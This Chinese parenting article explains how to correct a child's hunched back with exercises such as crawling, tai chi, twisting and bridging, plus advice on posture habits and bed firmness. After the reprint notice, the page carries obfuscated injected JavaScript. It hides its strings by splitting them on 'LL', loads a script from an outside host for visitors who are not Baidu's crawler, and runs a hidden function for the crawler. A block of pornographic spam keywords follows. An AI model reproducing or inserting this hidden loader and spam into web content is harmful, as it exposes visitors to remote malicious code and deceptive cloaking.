當前位置:首頁 > 母嬰 > 育兒知識 > 正文

兒童彎腰駝背該怎么辦呢

2017-04-10 15:22:33  來源:360常識網   熱度:
導語:很多人都存在彎腰駝背的情況,彎腰駝背你不僅僅只是發生在某個群體中,無論是成年人還是未成年人,發生的幾率都是非常大的,那么兒童彎腰駝

很多人都存在彎腰駝背的情況,彎腰駝背你不僅僅只是發生在某個群體中,無論是成年人還是未成年人,發生的幾率都是非常大的,那么兒童彎腰駝背怎么辦呢?對于這個問題的解答,關鍵在于父母,因為父母發揮著至關重要的作用,接下來讓我們一起來了解一下兒童彎腰駝背怎么辦呢?

駝背也叫圓背,是脊柱變形的一種表現,男女老幼都可發生。

臨床上沒有治療駝背的藥物,只有通過體育療法才能矯正過來。矯正的原則是增強背肌的力量,挺伸軀干的長度,擴張胸廓的范圍,注意坐立的姿勢。其具體的方法如下:

(1)爬行運動 兩手和兩腳尖著地,像嬰兒一樣在地上爬行。距離由短到長,速度由慢到快,直線爬也行,轉圈爬也行,為防止把手磨破,可戴手套,每日爬兩次,每次10~15分鐘。

(2)打滾運動 將身體躺直,在床上打滾,每日兩次,每次5分鐘。為避免頭暈,速度不可太快。

(3)太極拳 太極拳處處要求以腰為軸帶動四肢,使腰部始終保持自然舒適直豎狀態,對駝背有很好的矯正作用。

(4)挺胸轉體 自然站立,兩手叉腰,抬頭挺胸,身體先向左轉,后向右轉,反復做30~40下。做這套動作要盡力挺胸收腹,用力轉動。

(5)持棍轉體 自然站立,兩手持1米長小木棍放在背部肩胛處,同時挺胸轉體20~30下。

(6)床邊振臂 仰臥位躺在床上,使肩部靠近床邊,頭自然后仰,兩臂伸展下振20~30下。

(7)仰臥拱橋 仰臥在床上,以頭和腳為支撐點,把身體像橋一樣拱起來,停5~10秒鐘落下,如此反復做10~20下。

骨骼是人體的支架,脊柱是中軸,由30多節椎骨按規律重迭連接而成。正常情況下,它有4個生理彎曲。頸段凸向前,胸段凸向后,腰段再凸向前,骶尾段再凸向后。脊柱向前彎曲度過大,就是駝背。醫學知識告訴我們,早年鍛煉,避免疲勞,注意營養均衡,可以延緩衰老進程。補充鈣質,適當曬太陽,有助于防止骨質疏松。已經發生駝背者,應睡硬板床,不墊過高的枕頭。腰背肌鍛煉,尤其是后伸運動有助于遏止駝背的發展速度。具體的治療方案須經醫生檢查確診后,根據并且積極治療。

除外傷以外,有幾種情況能導致駝背。一是遺傳,二是平時習慣不好。多數人的駝背,是習慣不好造成的。比如平時走路低頭,坐著的時候不注意姿勢,女孩子為掩飾自己突出的胸部而故意收肩低頭等。

要消除駝背,就要注意克服上述不良習慣。平時走路、跑步挺胸抬頭,每天早晚,躺在床上或者炕上,肩部搭在邊沿處,仰臥,頭部懸空,用手向后做摸地的動作(注意安全)。白天休息時也可以這樣做。慢慢地就會有所改善。

以上對于兒童彎腰駝背怎么辦呢這個問題進行的解答,我們可以看出雖然方法有很多,但是并不一定每一種方法都是適合你的孩子,在方法的選擇上至關重要,因為這預示著你的孩子能否矯正成功,當然你也可以借助一些矯正工具來達到矯正的目的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品人妻系列无码一区二区三区 | 野狼第一精品社区| 久久精品国产亚洲| 91麻豆精品国产一级| 国产成人精品cao在线| 97精品视频在线观看| 天天综合亚洲色在线精品| 精品亚洲永久免费精品| 人妻熟妇乱又伦精品HD| 宅男在线国产精品无码| 国产精品一二三区| 国产精品极品美女自在线| 久久97久久97精品免视看| 精品无码国产一区二区三区AV| 国产手机精品视频| 久久久久女人精品毛片| 合区精品中文字幕| 91精品国产福利在线观看| 精品97国产免费人成视频 | 国产精品久久久久9999赢消| CAOPORN国产精品免费视频| 91精品国产人成网站| 亚洲欧洲久久久精品| 久久ww精品w免费人成| 国产精品深夜福利免费观看| 老司机69精品成免费视频| 国产精品99亚发布| 久久精品国产精油按摩| 国内精品久久久久影院蜜芽| 色久综合网精品一区二区| 香蕉依依精品视频在线播放 | 久久99精品波多结衣一区| 国产精品亚洲专区一区| 精品无码国产一区二区三区AV| 精品福利一区二区三区精品国产第一国产综合精品 | 99热这里只有精品在线| 亚洲国产成人久久精品软件| 亚洲精品乱码久久久久久蜜桃不卡| 青草青草久热精品观看| 99re5精品视频在线观看| 国产免费久久精品丫丫|